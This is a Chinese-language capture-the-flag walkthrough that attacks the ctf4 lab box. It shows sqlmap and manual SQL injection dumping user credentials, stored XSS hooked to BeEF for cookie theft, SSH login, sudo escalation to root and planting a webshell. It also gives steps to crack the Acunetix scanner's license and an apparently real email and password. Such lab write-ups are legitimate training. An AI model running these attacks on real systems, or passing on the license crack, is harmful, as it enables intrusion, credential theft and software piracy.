一、打靶的主要五大步骤
1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。
文章所需靶场及打靶过程所遇问题关注后私信获得
二、打靶的具体流程
打开本次打靶所需要的靶机(ctf4)及攻击机(kali)
渗透测试工具安装Awvs(将AWVS压缩包拖进kali开始执行命令)
sudo ./acunetix_14.5.211115146_x64.sh
按回车同意隐私条款…..
注意 一直长按就行了,直到末尾输入yes
然后输入用户名和密码以及邮箱。邮箱:3157443409@qq.com 密码:!20021118Ws
接下来浏览器输入https://192.168.99.128:3443/ 用刚才设置的账号和密码登录(需使用自己的kali的IP)邮箱:3157443409@qq.com 密码:!20021118Ws(不是确定的依据个人爱好设定)
登录后,提示目前是尚未激活的状态。
接下来进行破解
复制 license_info.json wa_data.dat 这两个文件到/home/acunetix/.acunetix/data/license/目录,全部替换即可
查看存在license_info.json wa_data.dat 这2个文件,下面进行覆盖
修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
然后再次刷新浏览器,可以看到已经激活
设置不更新
AWVS进程:
关闭acunetix服务
sudo service acunetix stop
开启acunetix服务
sudo service acunetix start
重启acunetix服务
sudo service acunetix restart
查看acunetix服务
sudo service acunetix status
信息收集查询靶机的IP 与开放端口以及一些渗透测试
查看自己的网卡设备名和IP地址段
使用工具对该网段进行局域网存活主机探测
fping -g 192.168.99.0/24
sudo netdiscover -i eth0 -r 192.168.99.0/24
sudo arp-scan -l
使用nmap对发现的主机进行扫描
┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -v -sS -sV -p- 192.168.8.133
通过Wappalyzer插件获得信息:
Web服务:Apache 2.2.0
操作系统:Fedora
后端语言:PHP 5.1.2
使用Nikto漏洞扫描
┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129
提取重要信息:
+服务器:Apache/2.2.0(Fedora)
+检索到x-powered-by-header:PHP/5.1.2
+防点击劫持X-Frame-Options标头不存在。
报告输出在本地
┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129 -o test.html -F html #输出报告,
重要目录文件分析robots.txt文件
/sql/目录
/admin/目录
/usage/目录
/pages/目录 可以看到目录索引
mail目录 mail登录后台
手动分析注入
浏览网站博客Blog,点击某一个博客,发现页面,修改id值,页面出现跳转
hackbar手动安装
尝试构造注入点输入单引号发现页面报错,可能存在SQL注入漏洞,需要进一步分析判断
尝试构建SQL注入语句,查看错误信息,order by判断字段发现6 页面报错,5页面没有报错,说明当前表有5列即5个字段
尝试构建SQL注入语句,查看错误信息,union查询判断注入点,发现2、3、5、4存在注入点;
查询当前数据库;查询到当前数据库为ehks
查询当前数据库里所有表:可以看到:blog,comment,user 3个表group_concat函数详解
查询当前表所有字段名; (补充:查询user表是因为用户名和密码信息一般放在该表里)
查询当前表里User和Password字段值;
用户的密码
02e823a15a392b5aa4ff4ccb9060fa68,ilike2surf
b46265f1e7faa3beab09db5c28739380,seventysixers
8f4743c04ed8e5f39166a81f26319bb5,Homesite
7c7bc9f465d86b8164686ebb5151a717,Sue1978
64d1f88b9b276aece4b0edcc25b7a434,pacman
9f3eb3087298ff21843cc4e013cf355f undone1
查询到密码发现密码被加密了,使用MD5解密得到密码;
最终结果:
dstevens,ilike2surf
achen,seventysixers
pmoore,Homesite
jdurbin,Sue1978
sorzek,pacman
ghighland,undone1
列出所有数据库的名字;可以看到结果6个数据库
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --dbs
列出当前数据库的名字;
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --current-db
列出当前数据库的所有表名
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' --tables
列出user表中的所有字段名
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' --columns
列出user_name,user_pass字段中的所有字段内容
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' -C 'user_name,user_pass' --dump //这里主要--dump
尝试去爆破MySQL数据库,拿到user表的重要信息
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'mysql' -T 'user' -C 'user,password' --dump
登录后台页面
使用刚SQL注入成功获取到的Ehks数据库的账户和密码登录
尝试构造 :(POC)来验证与检查漏洞的存在
点击blog,出现弹窗,刷新依然存在,判断为存储性XSS
登录到数据库可以看到,已经存入到数据库blog表中
kali安装beef:(通过XSS漏洞配合JS脚本和Metasploit进行渗透)
┌──(kali㉿kali)-[~]
└─$ sudo apt-get update #更新
┌──(kali㉿kali)-[~]
└─$ sudo apt-get install beef-xss #安装beef-xss
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/beef-xss #beef=xss 安装路径
启动beef
过程中要求,修改密码,这里修改为123456 默认为beef
打开web页面进行登录 登录:用户名beef 密码:123456
查看脚本
post 提交后,点击Blog,触发XSS,可以在BeEF页面,可以看到肉鸡上线,这里是本地宿主机这里使用的是本地火狐浏览器访问的,所以肉鸡为本地宿主机
在BeEF页面,点击链接的肉鸡
获取cookie:
跳转链接:
可以看到屏幕已经劫持,必须点击中间图片,进行页面跳转,这里可以构造钓鱼网站进行信息收录
DirBuster暴力扫描 选择字典类型,字典列表, / usr / share / dirbuster / wordlists
可以看到目录索引
权限提升 SSH利用
尝试使用获取的账号尝试去登陆ssh,成功登陆,接下来进一步提权
cd /etc/ssh
ls
cat ssh_config
sudo vim ssh_config
KexAlgorithms +diffie-hellman-group1-sha1
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa
再次尝试 可以使用ssh登录 密码:seventysixers
sudo ssh achen@192.168.99.129
使用sudo提权
[achen@ctf4 ~]$ sudo su
[root@ctf4 achen]# whoami
[root@ctf4 achen]# id
su命令就是用于账号切换的系统命令,
提权后操作查看IP地址
[root@ctf4 achen]# /sbin/ifconfig
远程登录数据库
mysql> use mysql; --使用MySQL数据库
mysql> select host,user,password from user;
实现远程连接
再次查看
mysql> select host,user,password from user;
尝试使用数据库工具远程链接 测试链接
链接数据库:用户root 密码:root
编写Webshell或上传Webshell
[root@ctf4 ~]# cd ~
[root@ctf4 ~]# pwd
/root
[root@ctf4 ~]# cd /var/www/
[root@ctf4 www]# ls
cgi-bin error html icons usage
[root@ctf4 www]# cd html
[root@ctf4 html]# ls
admin conf inc index.html.bak pages robots.txt
calendar images index.html mail restricted sql
[root@ctf4 html]# vim shell.php
可以使用Webshell管理工具链接shell.php,这里使用蚁剑